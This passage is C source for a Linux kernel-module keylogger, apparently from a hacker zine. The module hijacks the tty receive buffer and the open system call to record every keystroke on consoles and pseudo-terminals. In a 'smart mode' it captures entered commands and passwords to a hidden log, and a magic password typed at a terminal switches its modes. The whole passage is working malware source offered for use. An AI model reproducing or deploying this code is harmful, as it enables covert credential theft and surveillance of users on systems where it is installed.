rem = *t % SECS_PER_DAY;
|
||
|
rem += offset;
|
||
|
while (rem < 0) {
|
||
|
rem += SECS_PER_DAY;
|
||
|
--days;
|
||
|
}
|
||
|
while (rem >= SECS_PER_DAY) {
|
||
|
rem -= SECS_PER_DAY;
|
||
|
++days;
|
||
|
}
|
||
|
tp->tm_hour = rem / SECS_PER_HOUR;
|
||
|
rem %= SECS_PER_HOUR;
|
||
|
tp->tm_min = rem / 60;
|
||
|
tp->tm_sec = rem % 60;
|
||
|
y = 1970;
|
||
|
|
||
|
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
|
||
|
long int yg = y + days / 365 - (days % 365 < 0);
|
||
|
days -= ((yg - y) * 365
|
||
|
+ LEAPS_THRU_END_OF (yg - 1)
|
||
|
- LEAPS_THRU_END_OF (y - 1));
|
||
|
y = yg;
|
||
|
}
|
||
|
tp->tm_year = y - 1900;
|
||
|
if (tp->tm_year != y - 1900)
|
||
|
return 0;
|
||
|
ip = mon_yday[isleap(y)];
|
||
|
for (y = 11; days < (long int) ip[y]; --y)
|
||
|
continue;
|
||
|
days -= ip[y];
|
||
|
tp->tm_mon = y;
|
||
|
tp->tm_mday = days + 1;
|
||
|
return 1;
|
||
|
}
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Get current date & time
|
||
|
*/
|
||
|
|
||
|
void get_time (char *date_time)
|
||
|
{
|
||
|
struct timeval tv;
|
||
|
time_t t;
|
||
|
struct vtm tm;
|
||
|
|
||
|
do_gettimeofday(&tv);
|
||
|
t = (time_t)tv.tv_sec;
|
||
|
|
||
|
epoch2time(&t, TIMEZONE, &tm);
|
||
|
|
||
|
sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
|
||
|
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
|
||
|
tm.tm_sec);
|
||
|
}
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Get task structure from pgrp id
|
||
|
*/
|
||
|
|
||
|
inline struct task_struct *get_task(pid_t pgrp)
|
||
|
{
|
||
|
struct task_struct *task = current;
|
||
|
|
||
|
do {
|
||
|
if (task->pgrp == pgrp) {
|
||
|
return task;
|
||
|
}
|
||
|
task = task->next_task;
|
||
|
} while (task != current);
|
||
|
return NULL;
|
||
|
}
|
||
|
|
||
|
|
||
|
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
|
||
|
#define WRITABLE(f) (f->f_op && f->f_op->write)
|
||
|
|
||
|
int write_to_file(char *logfile, char *buf, int size)
|
||
|
{
|
||
|
int ret = 0;
|
||
|
struct file *f = NULL;
|
||
|
|
||
|
lock_kernel();
|
||
|
BEGIN_KMEM;
|
||
|
f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
|
||
|
|
||
|
if (IS_ERR(f)) {
|
||
|
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
|
||
|
ret = -1;
|
||
|
} else {
|
||
|
if (WRITABLE(f))
|
||
|
_write(f, buf, size);
|
||
|
else {
|
||
|
DPRINT("%s does not have a write method\n",
|
||
|
logfile);
|
||
|
ret = -1;
|
||
|
}
|
||
|
|
||
|
if ((ret = filp_close(f,NULL)))
|
||
|
DPRINT("Error %d closing %s\n", -ret, logfile);
|
||
|
}
|
||
|
END_KMEM;
|
||
|
unlock_kernel();
|
||
|
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
|
||
|
#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
|
||
|
#define END_ROOT current->fsuid = saved_fsuid; }
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Logging keystrokes
|
||
|
*/
|
||
|
|
||
|
void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
|
||
|
{
|
||
|
int i;
|
||
|
|
||
|
char logfile[256];
|
||
|
char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
|
||
|
char date_time[24];
|
||
|
struct task_struct *task;
|
||
|
|
||
|
if (vlogger_mode == VK_NORMAL)
|
||
|
return;
|
||
|
|
||
|
if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
|
||
|
return;
|
||
|
|
||
|
task = get_task(tty->pgrp);
|
||
|
|
||
|
for (i=0; i<tmp->lastpos; i++)
|
||
|
if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
|
||
|
|
||
|
if (!cont)
|
||
|
tmp->buf[tmp->lastpos++] = 0x0A;
|
||
|
|
||
|
tmp->buf[tmp->lastpos] = 0;
|
||
|
|
||
|
if (vlogger_mode == VK_DUMBMODE) {
|
||
|
snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
|
||
|
LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
|
||
|
BEGIN_ROOT
|
||
|
if (!tmp->status) {
|
||
|
get_time(date_time);
|
||
|
if (task)
|
||
|
snprintf(loginfo, sizeof(loginfo)-1,
|
||
|
"<%s uid=%d %s> %s", date_time,
|
||
|
task->uid, task->comm, tmp->buf);
|
||
|
else
|
||
|
snprintf(loginfo, sizeof(loginfo)-1,
|
||
|
"<%s> %s", date_time, tmp->buf);
|
||
|
|
||
|
write_to_file(logfile, loginfo, strlen(loginfo));
|
||
|
} else {
|
||
|
write_to_file(logfile, tmp->buf, tmp->lastpos);
|
||
|
}
|
||
|
END_ROOT
|
||
|
|
||
|
#ifdef DEBUG
|
||
|
if (task)
|
||
|
DPRINT("%s/%d uid=%d %s: %s",
|
||
|
TTY_NAME(tty), TTY_NUMBER(tty),
|
||
|
task->uid, task->comm, tmp->buf);
|
||
|
else
|
||
|
DPRINT("%s", tmp->buf);
|
||
|
#endif
|
||
|
tmp->status = cont;
|
||
|
|
||
|
} else {
|
||
|
|
||
|
/*
|
||
|
* Logging USER/CMD and PASS in SMART_MODE
|
||
|
*/
|
||
|
|
||
|
BEGIN_ROOT
|
||
|
if (!tmp->pass) {
|
||
|
get_time(date_time);
|
||
|
if (task)
|
||
|
snprintf(loginfo, sizeof(loginfo)-1,
|
||
|
"\n[%s tty=%s/%d uid=%d %s]\n"
|
||
|
"USER/CMD %s", date_time,
|
||
|
TTY_NAME(tty),TTY_NUMBER(tty),
|
||
|
task->uid, task->comm, tmp->buf);
|
||
|
else
|
||
|
snprintf(loginfo, sizeof(loginfo)-1,
|
||
|
"\n[%s tty=%s/%d]\nUSER/CMD %s",
|
||
|
date_time, TTY_NAME(tty),
|
||
|
TTY_NUMBER(tty), tmp->buf);
|
||
|
|
||
|
write_to_file(PASS_LOG, loginfo, strlen(loginfo));
|
||
|
} else {
|
||
|
snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
|
||
|
tmp->buf);
|
||
|
write_to_file (PASS_LOG, loginfo, strlen(loginfo));
|
||
|
}
|
||
|
|
||
|
END_ROOT
|
||
|
|
||
|
#ifdef DEBUG
|
||
|
if (!tmp->pass)
|
||
|
DPRINT("USER/CMD %s", tmp->buf);
|
||
|
else
|
||
|
DPRINT("PASS %s", tmp->buf);
|
||
|
#endif
|
||
|
}
|
||
|
|
||
|
if (!cont) tmp->buf[--tmp->lastpos] = 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
#define resetbuf(t) \
|
||
|
{ \
|
||
|
t->buf[0] = 0; \
|
||
|
t->lastpos = 0; \
|
||
|
}
|
||
|
|
||
|
#define append_c(t, s, n) \
|
||
|
{ \
|
||
|
t->lastpos += n; \
|
||
|
strncat(t->buf, s, n); \
|
||
|
}
|
||
|
|
||
|
static inline void reset_all_buf(void)
|
||
|
{
|
||
|
int i = 0;
|
||
|
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
|
||
|
if (ttys[i] != NULL)
|
||
|
resetbuf(ttys[i]);
|
||
|
}
|
||
|
|
||
|
void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
|
||
|
{
|
||
|
switch(count) {
|
||
|
case 2:
|
||
|
switch(cp[1]) {
|
||
|
case '\'':
|
||
|
append_c(tmp, "[ALT-\']", 7);
|
||
|
break;
|
||
|
case ',':
|
||
|
append_c(tmp, "[ALT-,]", 7);
|
||
|
break;
|
||
|
case '-':
|
||
|
append_c(tmp, "[ALT--]", 7);
|
||
|
break;
|
||
|
case '.':
|
||
|
append_c(tmp, "[ALT-.]", 7);
|
||
|
break;
|
||
|
case '/':
|
||
|
append_c(tmp, "[ALT-/]", 7);
|
||
|
break;
|
||
|
case '0':
|
||
|
append_c(tmp, "[ALT-0]", 7);
|
||
|
break;
|
||
|
case '1':
|
||
|
append_c(tmp, "[ALT-1]", 7);
|
||
|
break;
|
||
|
case '2':
|
||
|
append_c(tmp, "[ALT-2]", 7);
|
||
|
break;
|
||
|
case '3':
|
||
|
append_c(tmp, "[ALT-3]", 7);
|
||
|
break;
|
||
|
case '4':
|
||
|
append_c(tmp, "[ALT-4]", 7);
|
||
|
break;
|
||
|
case '5':
|
||
|
append_c(tmp, "[ALT-5]", 7);
|
||
|
break;
|
||
|
case '6':
|
||
|
append_c(tmp, "[ALT-6]", 7);
|
||
|
break;
|
||
|
case '7':
|
||
|
append_c(tmp, "[ALT-7]", 7);
|
||
|
break;
|
||
|
case '8':
|
||
|
append_c(tmp, "[ALT-8]", 7);
|
||
|
break;
|
||
|
case '9':
|
||
|
append_c(tmp, "[ALT-9]", 7);
|
||
|
break;
|
||
|
case ';':
|
||
|
append_c(tmp, "[ALT-;]", 7);
|
||
|
break;
|
||
|
case '=':
|
||
|
append_c(tmp, "[ALT-=]", 7);
|
||
|
break;
|
||
|
case '[':
|
||
|
append_c(tmp, "[ALT-[]", 7);
|
||
|
break;
|
||
|
case '\\':
|
||
|
append_c(tmp, "[ALT-\\]", 7);
|
||
|
break;
|
||
|
case ']':
|
||
|
append_c(tmp, "[ALT-]]", 7);
|
||
|
break;
|
||
|
case '`':
|
||
|
append_c(tmp, "[ALT-`]", 7);
|
||
|
break;
|
||
|
case 'a':
|
||
|
append_c(tmp, "[ALT-A]", 7);
|
||
|
break;
|
||
|
case 'b':
|
||
|
append_c(tmp, "[ALT-B]", 7);
|
||
|
break;
|
||
|
case 'c':
|
||
|
append_c(tmp, "[ALT-C]", 7);
|
||
|
break;
|
||
|
case 'd':
|
||
|
append_c(tmp, "[ALT-D]", 7);
|
||
|
break;
|
||
|
case 'e':
|
||
|
append_c(tmp, "[ALT-E]", 7);
|
||
|
break;
|
||
|
case 'f':
|
||
|
append_c(tmp, "[ALT-F]", 7);
|
||
|
break;
|
||
|
case 'g':
|
||
|
append_c(tmp, "[ALT-G]", 7);
|
||
|
break;
|
||
|
case 'h':
|
||
|
append_c(tmp, "[ALT-H]", 7);
|
||
|
break;
|
||
|
case 'i':
|
||
|
append_c(tmp, "[ALT-I]", 7);
|
||
|
break;
|
||
|
case 'j':
|
||
|
append_c(tmp, "[ALT-J]", 7);
|
||
|
break;
|
||
|
case 'k':
|
||
|
append_c(tmp, "[ALT-K]", 7);
|
||
|
break;
|
||
|
case 'l':
|
||
|
append_c(tmp, "[ALT-L]", 7);
|
||
|
break;
|
||
|
case 'm':
|
||
|
append_c(tmp, "[ALT-M]", 7);
|
||
|
break;
|
||
|
case 'n':
|
||
|
append_c(tmp, "[ALT-N]", 7);
|
||
|
break;
|
||
|
case 'o':
|
||
|
append_c(tmp, "[ALT-O]", 7);
|
||
|
break;
|
||
|
case 'p':
|
||
|
append_c(tmp, "[ALT-P]", 7);
|
||
|
break;
|
||
|
case 'q':
|
||
|
append_c(tmp, "[ALT-Q]", 7);
|
||
|
break;
|
||
|
case 'r':
|
||
|
append_c(tmp, "[ALT-R]", 7);
|
||
|
break;
|
||
|
case 's':
|
||
|
append_c(tmp, "[ALT-S]", 7);
|
||
|
break;
|
||
|
case 't':
|
||
|
append_c(tmp, "[ALT-T]", 7);
|
||
|
break;
|
||
|
case 'u':
|
||
|
append_c(tmp, "[ALT-U]", 7);
|
||
|
break;
|
||
|
case 'v':
|
||
|
append_c(tmp, "[ALT-V]", 7);
|
||
|
break;
|
||
|
case 'x':
|
||
|
append_c(tmp, "[ALT-X]", 7);
|
||
|
break;
|
||
|
case 'y':
|
||
|
append_c(tmp, "[ALT-Y]", 7);
|
||
|
break;
|
||
|
case 'z':
|
||
|
append_c(tmp, "[ALT-Z]", 7);
|
||
|
break;
|
||
|
}
|
||
|
break;
|
||
|
case 3:
|
||
|
switch(cp[2]) {
|
||
|
case 68:
|
||
|
// Left: 27 91 68
|
||
|
append_c(tmp, "[LEFT]", 6);
|
||
|
break;
|
||
|
case 67:
|
||
|
// Right: 27 91 67
|
||
|
append_c(tmp, "[RIGHT]", 7);
|
||
|
break;
|
||
|
case 65:
|
||
|
// Up: 27 91 65
|
||
|
append_c(tmp, "[UP]", 4);
|
||
|
break;
|
||
|
case 66:
|
||
|
// Down: 27 91 66
|
||
|
append_c(tmp, "[DOWN]", 6);
|
||
|
break;
|
||
|
case 80:
|
||
|
// Pause/Break: 27 91 80
|
||
|
append_c(tmp, "[BREAK]", 7);
|
||
|
break;
|
||
|
}
|
||
|
break;
|
||
|
case 4:
|
||
|
switch(cp[3]) {
|
||
|
case 65:
|
||
|
// F1: 27 91 91 65
|
||
|
append_c(tmp, "[F1]", 4);
|
||
|
break;
|
||
|
case 66:
|
||
|
// F2: 27 91 91 66
|
||
|
append_c(tmp, "[F2]", 4);
|
||
|
break;
|
||
|
case 67:
|
||
|
// F3: 27 91 91 67
|
||
|
append_c(tmp, "[F3]", 4);
|
||
|
break;
|
||
|
case 68:
|
||
|
// F4: 27 91 91 68
|
||
|
append_c(tmp, "[F4]", 4);
|
||
|
break;
|
||
|
case 69:
|
||
|
// F5: 27 91 91 69
|
||
|
append_c(tmp, "[F5]", 4);
|
||
|
break;
|
||
|
case 126:
|
||
|
switch(cp[2]) {
|
||
|
case 53:
|
||
|
// PgUp: 27 91 53 126
|
||
|
append_c(tmp, "[PgUP]", 6);
|
||
|
break;
|
||
|
case 54:
|
||
|
// PgDown: 27 91 54 126
|
||
|
append_c(tmp,
|
||
|
"[PgDOWN]", 8);
|
||
|
break;
|
||
|
case 49:
|
||
|
// Home: 27 91 49 126
|
||
|
append_c(tmp, "[HOME]", 6);
|
||
|
break;
|
||
|
case 52:
|
||
|
// End: 27 91 52 126
|
||
|
append_c(tmp, "[END]", 5);
|
||
|
break;
|
||
|
case 50:
|
||
|
// Insert: 27 91 50 126
|
||
|
append_c(tmp, "[INS]", 5);
|
||
|
break;
|
||
|
case 51:
|
||
|
// Delete: 27 91 51 126
|
||
|
append_c(tmp, "[DEL]", 5);
|
||
|
break;
|
||
|
}
|
||
|
break;
|
||
|
}
|
||
|
break;
|
||
|
case 5:
|
||
|
if(cp[2] == 50)
|
||
|
switch(cp[3]) {
|
||
|
case 48:
|
||
|
// F9: 27 91 50 48 126
|
||
|
append_c(tmp, "[F9]", 4);
|
||
|
break;
|
||
|
case 49:
|
||
|
// F10: 27 91 50 49 126
|
||
|
append_c(tmp, "[F10]", 5);
|
||
|
break;
|
||
|
case 51:
|
||
|
// F11: 27 91 50 51 126
|
||
|
append_c(tmp, "[F11]", 5);
|
||
|
break;
|
||
|
case 52:
|
||
|
// F12: 27 91 50 52 126
|
||
|
append_c(tmp, "[F12]", 5);
|
||
|
break;
|
||
|
case 53:
|
||
|
// Shift-F1: 27 91 50 53 126
|
||
|
append_c(tmp, "[SH-F1]", 7);
|
||
|
break;
|
||
|
case 54:
|
||
|
// Shift-F2: 27 91 50 54 126
|
||
|
append_c(tmp, "[SH-F2]", 7);
|
||
|
break;
|
||
|
case 56:
|
||
|
// Shift-F3: 27 91 50 56 126
|
||
|
append_c(tmp, "[SH-F3]", 7);
|
||
|
break;
|
||
|
case 57:
|
||
|
// Shift-F4: 27 91 50 57 126
|
||
|
append_c(tmp, "[SH-F4]", 7);
|
||
|
break;
|
||
|
}
|
||
|
else
|
||
|
switch(cp[3]) {
|
||
|
case 55:
|
||
|
// F6: 27 91 49 55 126
|
||
|
append_c(tmp, "[F6]", 4);
|
||
|
break;
|
||
|
case 56:
|
||
|
// F7: 27 91 49 56 126
|
||
|
append_c(tmp, "[F7]", 4);
|
||
|
break;
|
||
|
case 57:
|
||
|
// F8: 27 91 49 57 126
|
||
|
append_c(tmp, "[F8]", 4);
|
||
|
break;
|
||
|
case 49:
|
||
|
// Shift-F5: 27 91 51 49 126
|
||
|
append_c(tmp, "[SH-F5]", 7);
|
||
|
break;
|
||
|
case 50:
|
||
|
// Shift-F6: 27 91 51 50 126
|
||
|
append_c(tmp, "[SH-F6]", 7);
|
||
|
break;
|
||
|
case 51:
|
||
|
// Shift-F7: 27 91 51 51 126
|
||
|
append_c(tmp, "[SH-F7]", 7);
|
||
|
break;
|
||
|
case 52:
|
||
|
// Shift-F8: 27 91 51 52 126
|
||
|
append_c(tmp, "[SH-F8]", 7);
|
||
|
break;
|
||
|
};
|
||
|
break;
|
||
|
default: // Unknow
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Called whenever user press a key
|
||
|
*/
|
||
|
|
||
|
void vlogger_process(struct tty_struct *tty,
|
||
|
const unsigned char *cp, int count)
|
||
|
{
|
||
|
struct tlogger *tmp = ttys[TTY_INDEX(tty)];
|
||
|
|
||
|
if (!tmp) {
|
||
|
DPRINT("erm .. unknow error???\n");
|
||
|
init_tty(tty, TTY_INDEX(tty));
|
||
|
tmp = ttys[TTY_INDEX(tty)];
|
||
|
if (!tmp)
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
if (vlogger_mode == VK_SMARTMODE) {
|
||
|
if (tmp->status && !IS_PASSWD(tty)) {
|
||
|
resetbuf(tmp);
|
||
|
}
|
||
|
if (!tmp->pass && IS_PASSWD(tty)) {
|
||
|
logging(tty, tmp, 0);
|
||
|
resetbuf(tmp);
|
||
|
}
|
||
|
if (tmp->pass && !IS_PASSWD(tty)) {
|
||
|
if (!tmp->lastpos)
|
||
|
logging(tty, tmp, 0);
|
||
|
resetbuf(tmp);
|
||
|
}
|
||
|
tmp->pass = IS_PASSWD(tty);
|
||
|
tmp->status = 0;
|
||
|
}
|
||
|
|
||
|
if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
|
||
|
logging(tty, tmp, 1);
|
||
|
resetbuf(tmp);
|
||
|
}
|
||
|
|
||
|
if (count == 1) {
|
||
|
if (cp[0] == VK_TOGLE_CHAR) {
|
||
|
if (!strcmp(tmp->buf, MAGIC_PASS)) {
|
||
|
if(vlogger_mode < 2)
|
||
|
vlogger_mode++;
|
||
|
else
|
||
|
vlogger_mode = 0;
|
||
|
reset_all_buf();
|
||
|
|
||
|
switch(vlogger_mode) {
|
||
|
case VK_DUMBMODE:
|
||
|
DPRINT("Dumb Mode\n");
|
||
|
TTY_WRITE(tty, "\r\n"
|
||
|
"Dumb Mode\n", 12);
|
||
|
break;
|
||
|
case VK_SMARTMODE:
|
||
|
DPRINT("Smart Mode\n");
|
||
|
TTY_WRITE(tty, "\r\n"
|
||
|
"Smart Mode\n", 13);
|
||
|
break;
|
||
|
case VK_NORMAL:
|
||
|
DPRINT("Normal Mode\n");
|
||
|
TTY_WRITE(tty, "\r\n"
|
||
|
"Normal Mode\n", 14);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
switch (cp[0]) {
|
||
|
case 0x01: //^A
|
||
|
append_c(tmp, "[^A]", 4);
|
||
|
break;
|
||
|
case 0x02: //^B
|
||
|
append_c(tmp, "[^B]", 4);
|
||
|
break;
|
||
|
case 0x03: //^C
|
||
|
append_c(tmp, "[^C]", 4);
|
||
|
case 0x04: //^D
|
||
|
append_c(tmp, "[^D]", 4);
|
||
|
case 0x0D: //^M
|
||
|
case 0x0A:
|
||
|
if (vlogger_mode == VK_SMARTMODE) {
|
||
|
if (IS_PASSWD(tty)) {
|
||
|
logging(tty, tmp, 0);
|
||
|
resetbuf(tmp);
|
||
|
} else
|
||
|
tmp->status = 1;
|
||
|
} else {
|
||
|
logging(tty, tmp, 0);
|
||
|
resetbuf(tmp);
|
||
|
}
|
||
|
break;
|
||
|
case 0x05: //^E
|
||
|
append_c(tmp, "[^E]", 4);
|
||
|
break;
|
||
|
case 0x06: //^F
|
||
|
append_c(tmp, "[^F]", 4);
|
||
|
break;
|
||
|
case 0x07: //^G
|
||
|
append_c(tmp, "[^G]", 4);
|
||
|
break;
|
||
|
case 0x09: //TAB - ^I
|
||
|
append_c(tmp, "[TAB]", 5);
|
||
|
break;
|
||
|
case 0x0b: //^K
|
||
|
append_c(tmp, "[^K]", 4);
|
||
|
break;
|
||
|
case 0x0c: //^L
|
||
|
append_c(tmp, "[^L]", 4);
|
||
|
break;
|
||
|
case 0x0e: //^E
|
||
|
append_c(tmp, "[^E]", 4);
|
||
|
break;
|
||
|
case 0x0f: //^O
|
||
|
append_c(tmp, "[^O]", 4);
|
||
|
break;
|
||
|
case 0x10: //^P
|
||
|
append_c(tmp, "[^P]", 4);
|
||
|
break;
|
||
|
case 0x11: //^Q
|
||
|
append_c(tmp, "[^Q]", 4);
|
||
|
break;
|
||
|
case 0x12: //^R
|
||
|
append_c(tmp, "[^R]", 4);
|
||
|
break;
|
||
|
case 0x13: //^S
|
||
|
append_c(tmp, "[^S]", 4);
|
||
|
break;
|
||
|
case 0x14: //^T
|
||
|
append_c(tmp, "[^T]", 4);
|
||
|
break;
|
||
|
case 0x15: //CTRL-U
|
||
|
resetbuf(tmp);
|
||
|
break;
|
||
|
case 0x16: //^V
|
||
|
append_c(tmp, "[^V]", 4);
|
||
|
break;
|
||
|
case 0x17: //^W
|
||
|
append_c(tmp, "[^W]", 4);
|
||
|
break;
|
||
|
case 0x18: //^X
|
||
|
append_c(tmp, "[^X]", 4);
|
||
|
break;
|
||
|
case 0x19: //^Y
|
||
|
append_c(tmp, "[^Y]", 4);
|
||
|
break;
|
||
|
case 0x1a: //^Z
|
||
|
append_c(tmp, "[^Z]", 4);
|
||
|
break;
|
||
|
case 0x1c: //^\
|
||
|
append_c(tmp, "[^\\]", 4);
|
||
|
break;
|
||
|
case 0x1d: //^]
|
||
|
append_c(tmp, "[^]]", 4);
|
||
|
break;
|
||
|
case 0x1e: //^^
|
||
|
append_c(tmp, "[^^]", 4);
|
||
|
break;
|
||
|
case 0x1f: //^_
|
||
|
append_c(tmp, "[^_]", 4);
|
||
|
break;
|
||
|
case BACK_SPACE_CHAR1:
|
||
|
case BACK_SPACE_CHAR2:
|
||
|
if (!tmp->lastpos) break;
|
||
|
if (tmp->buf[tmp->lastpos-1] != ']')
|
||
|
tmp->buf[--tmp->lastpos] = 0;
|
||
|
else {
|
||
|
append_c(tmp, "[^H]", 4);
|
||
|
}
|
||
|
break;
|
||
|
case ESC_CHAR: //ESC
|
||
|
append_c(tmp, "[ESC]", 5);
|
||
|
break;
|
||
|
default:
|
||
|
tmp->buf[tmp->lastpos++] = cp[0];
|
||
|
tmp->buf[tmp->lastpos] = 0;
|
||
|
}
|
||
|
} else { // a block of chars or special key
|
||
|
if (cp[0] != ESC_CHAR) {
|
||
|
while (count >= MAX_BUFFER) {
|
||
|
append_c(tmp, cp, MAX_BUFFER);
|
||
|
logging(tty, tmp, 1);
|
||
|
resetbuf(tmp);
|
||
|
count -= MAX_BUFFER;
|
||
|
cp += MAX_BUFFER;
|
||
|
}
|
||
|
|
||
|
append_c(tmp, cp, count);
|
||
|
} else // special key
|
||
|
special_key(tmp, cp, count);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
void my_tty_open(void)
|
||
|
{
|
||
|
int fd, i;
|
||
|
char dev_name[80];
|
||
|
|
||
|
#ifdef LOCAL_ONLY
|
||
|
int fl = 0;
|
||
|
struct tty_struct * tty;
|
||
|
struct file * file;
|
||
|
#endif
|
||
|
|
||
|
for (i=1; i<MAX_TTY_CON; i++) {
|
||
|
snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
|
||
|
|
||
|
BEGIN_KMEM
|
||
|
fd = open(dev_name, O_RDONLY, 0);
|
||
|
if (fd < 0) continue;
|
||
|
|
||
|
#ifdef LOCAL_ONLY
|
||
|
file = fget(fd);
|
||
|
tty = file->private_data;
|
||
|
if (tty != NULL &&
|
||
|
tty->ldisc.receive_buf != NULL) {
|
||
|
if (!fl) {
|
||
|
old_receive_buf =
|
||
|
tty->ldisc.receive_buf;
|
||
|
fl = 1;
|
||
|
}
|
||
|
init_tty(tty, TTY_INDEX(tty));
|
||
|
}
|
||
|
fput(file);
|
||
|
#endif
|
||
|
|
||
|
close(fd);
|
||
|
END_KMEM
|
||
|
}
|
||
|
|
||
|
#ifndef LOCAL_ONLY
|
||
|
for (i=0; i<MAX_PTS_CON; i++) {
|
||
|
snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
|
||
|
|
||
|
BEGIN_KMEM
|
||
|
fd = open(dev_name, O_RDONLY, 0);
|
||
|
if (fd >= 0) close(fd);
|
||
|
END_KMEM
|
||
|
}
|
||
|
#endif
|
||
|
|
||
|
}
|
||
|
|
||
|
|
||
|
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
|
||
|
char *fp, int count)
|
||
|
{
|
||
|
if (!tty->real_raw && !tty->raw) // ignore raw mode
|
||
|
vlogger_process(tty, cp, count);
|
||
|
(*old_receive_buf)(tty, cp, fp, count);
|
||
|
}
|
||
|
|
||
|
|
||
|
static inline void init_tty(struct tty_struct *tty, int tty_index)
|
||
|
{
|
||
|
struct tlogger *tmp;
|
||
|
|
||
|
DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
|
||
|
|
||
|
if (ttys[tty_index] == NULL) {
|
||
|
tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
|
||
|
if (!tmp) {
|
||
|
DPRINT("kmalloc failed!\n");
|
||
|
return;
|
||
|
}
|
||
|
memset(tmp, 0, sizeof(struct tlogger));
|
||
|
tmp->tty = tty;
|
||
|
tty->ldisc.receive_buf = new_receive_buf;
|
||
|
ttys[tty_index] = tmp;
|
||
|
} else {
|
||
|
tmp = ttys[tty_index];
|
||
|
logging(tty, tmp, 1);
|
||
|
resetbuf(tmp);
|
||
|
tty->ldisc.receive_buf = new_receive_buf;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
|
||
|
{
|
||
|
int ret;
|
||
|
static int fl = 0;
|
||
|
struct file * file;
|
||
|
|
||
|
ret = (*original_sys_open)(filename, flags, mode);
|
||
|
|
||
|
if (ret >= 0) {
|
||
|
struct tty_struct * tty;
|
||
|
|
||
|
BEGIN_KMEM
|
||
|
lock_kernel();
|
||
|
file = fget(ret);
|
||
|
tty = file->private_data;
|
||
|
|
||
|
if (tty != NULL &&
|
||
|
((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
|
||
|
TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
|
||
|
(tty->driver.type == TTY_DRIVER_TYPE_PTY &&
|
||
|
tty->driver.subtype == PTY_TYPE_SLAVE &&
|
||
|
TTY_NUMBER(tty) < MAX_PTS_CON)) &&
|
||
|
tty->ldisc.receive_buf != NULL &&
|
||
|
tty->ldisc.receive_buf != new_receive_buf) {
|
||
|
|
||
|
if (!fl) {
|
||
|
old_receive_buf = tty->ldisc.receive_buf;
|
||
|
fl = 1;
|
||
|
}
|
||
|
init_tty(tty, TTY_INDEX(tty));
|
||
|
}
|
||
|
fput(file);
|
||
|
unlock_kernel();
|
||
|
END_KMEM
|
||
|
}
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
|
||
|
int init_module(void)
|
||
|
{
|
||
|
|
||
|
DPRINT(MVERSION);
|
||
|
#ifndef LOCAL_ONLY
|
||
|
original_sys_open = sys_call_table[__NR_open];
|
||
|
sys_call_table[__NR_open] = new_sys_open;
|
||
|
#endif
|
||
|
my_tty_open();
|
||
|
// MOD_INC_USE_COUNT;
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
DECLARE_WAIT_QUEUE_HEAD(wq);
|
||
|
|
||
|
void cleanup_module(void)
|
||
|
{
|
||
|
int i;
|
||
|
|
||
|
#ifndef LOCAL_ONLY
|
||
|
sys_call_table[__NR_open] = original_sys_open;
|
||
|
#endif
|
||
|
|
||
|
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
|
||
|
if (ttys[i] != NULL) {
|
||
|
ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
|
||
|
}
|
||
|
}
|
||
|
sleep_on_timeout(&wq, HZ);
|
||
|
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
|
||
|
if (ttys[i] != NULL) {
|
||
|
kfree(ttys[i]);
|
||
|
}
|
||
|
}
|
||
|
DPRINT("Unloaded\n");
|
||
|
}
|
||
|
|
||
|
EXPORT_NO_SYMBOLS;
|
||
|
<-->
|
||
|
|=[ EOF ]=---------------------------------------------------------------=|
|